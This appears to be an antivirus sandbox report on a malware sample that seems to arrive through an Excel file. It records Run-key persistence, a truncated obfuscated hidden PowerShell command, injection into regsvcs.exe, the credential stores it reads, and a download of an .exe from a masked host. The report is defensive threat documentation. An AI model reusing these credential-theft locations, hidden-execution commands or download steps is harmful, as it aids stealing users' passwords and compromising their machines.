Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'YYDlKxEw' = '%APPDATA%\QFXoBUB\pjUmz.exe'
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function mcbb6 {param($md7db)$r642f3='ga26ef1';$wd3a9='';for ($i=0; $i -lt $md7db.length;$i+=2){$q6ab8=[convert]::ToByte($md7db.Substring($i,2),16);$wd3a9+=[char]($q6ab8 -...
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v2.0.50727\regsvcs.exe
Searches for registry branches where third party applications store passwords
- [<HKCU>\Software\RimArts\B2\Settings]
- [<HKCU>\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions]
- [<HKCU>\Software\FTPWare\COREFTP\Sites]
Reads files which store third party applications passwords
- %APPDATA%\opera software\opera stable\login data
- %APPDATA%\thunderbird\profiles.ini
Modifies file system
Creates the following files
- %TEMP%\om-pjnub.0.cs
- %TEMP%\rlyl40zn.out
- %TEMP%\csc2066.tmp
- %TEMP%\res2076.tmp
- %TEMP%\rlyl40zn.dll
- %TEMP%\7gb41m3w.0.cs
- %TEMP%\7gb41m3w.cmdline
- %TEMP%\7gb41m3w.out
- %TEMP%\csc3d83.tmp
- %TEMP%\res3d94.tmp
- %TEMP%\7gb41m3w.dll
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{1ccc2c3d-687b-42e4-887d-0bbb7a1ca2f0}.tmp
- %APPDATA%\r196de.exe
- %APPDATA%\qfxobub\pjumz.exe
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %TEMP%\rlyl40zn.cmdline
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %TEMP%\rlyl40zn.0.cs
- %TEMP%\resabc.tmp
- %TEMP%\om-pjnub.cmdline
- %TEMP%\om-pjnub.out
- %TEMP%\wp3wiahp.0.cs
- %TEMP%\wp3wiahp.cmdline
- %TEMP%\wp3wiahp.out
- %TEMP%\cscee4a.tmp
- %TEMP%\csceeb7.tmp
- %TEMP%\resee6a.tmp
- %TEMP%\om-pjnub.dll
- %TEMP%\reseed7.tmp
- %TEMP%\wp3wiahp.dll
- %TEMP%\dfp0vsmf.0.cs
- %TEMP%\dfp0vsmf.cmdline
- %TEMP%\dfp0vsmf.out
- %TEMP%\csca9c.tmp
- %TEMP%\dfp0vsmf.dll
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
Deletes the following files
- %TEMP%\resee6a.tmp
- %TEMP%\dfp0vsmf.dll
- %TEMP%\dfp0vsmf.pdb
- %TEMP%\res2076.tmp
- %TEMP%\csc2066.tmp
- %TEMP%\rlyl40zn.cmdline
- %TEMP%\rlyl40zn.0.cs
- %TEMP%\rlyl40zn.out
- %TEMP%\7gb41m3w.dll
- %TEMP%\rlyl40zn.pdb
- %TEMP%\res3d94.tmp
- %TEMP%\csc3d83.tmp
- %TEMP%\7gb41m3w.pdb
- %TEMP%\7gb41m3w.out
- %TEMP%\7gb41m3w.cmdline
- %TEMP%\dfp0vsmf.0.cs
- %TEMP%\rlyl40zn.dll
- %TEMP%\dfp0vsmf.cmdline
- %TEMP%\om-pjnub.out
- %TEMP%\cscee4a.tmp
- %TEMP%\reseed7.tmp
- %TEMP%\csceeb7.tmp
- %TEMP%\om-pjnub.pdb
- %TEMP%\om-pjnub.0.cs
- %TEMP%\om-pjnub.cmdline
- %TEMP%\om-pjnub.dll
- %TEMP%\csca9c.tmp
- %TEMP%\wp3wiahp.pdb
- %TEMP%\wp3wiahp.cmdline
- %TEMP%\wp3wiahp.dll
- %TEMP%\wp3wiahp.0.cs
- %TEMP%\wp3wiahp.out
- %TEMP%\resabc.tmp
- %TEMP%\dfp0vsmf.out
- %TEMP%\7gb41m3w.0.cs
Network activity
TCP
HTTP GET requests
- http://pl##tech.id/do/trooooo.exe
UDP
- DNS ASK pl##tech.id
Miscellaneous
Creates and executes the following
- '%APPDATA%\r196de.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function mcbb6 {param($md7db)$r642f3='ga26ef1';$wd3a9='';for ($i=0; $i -lt $md7db.length;$i+=2){$q6ab8=[convert]::ToByte($md7db.Substring($i,2),16);$wd3a9+=[char]($q6ab8 -...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\om-pjnub.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\wp3wiahp.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEE6A.tmp" "%TEMP%\CSCEE4A.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEED7.tmp" "%TEMP%\CSCEEB7.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dfp0vsmf.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESABC.tmp" "%TEMP%\CSCA9C.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rlyl40zn.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2076.tmp" "%TEMP%\CSC2066.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\7gb41m3w.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3D94.tmp" "%TEMP%\CSC3D83.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\om-pjnub.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\wp3wiahp.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEE6A.tmp" "%TEMP%\CSCEE4A.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEED7.tmp" "%TEMP%\CSCEEB7.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dfp0vsmf.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESABC.tmp" "%TEMP%\CSCA9C.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rlyl40zn.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2076.tmp" "%TEMP%\CSC2066.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\7gb41m3w.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3D94.tmp" "%TEMP%\CSC3D83.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework\v2.0.50727\regsvcs.exe'
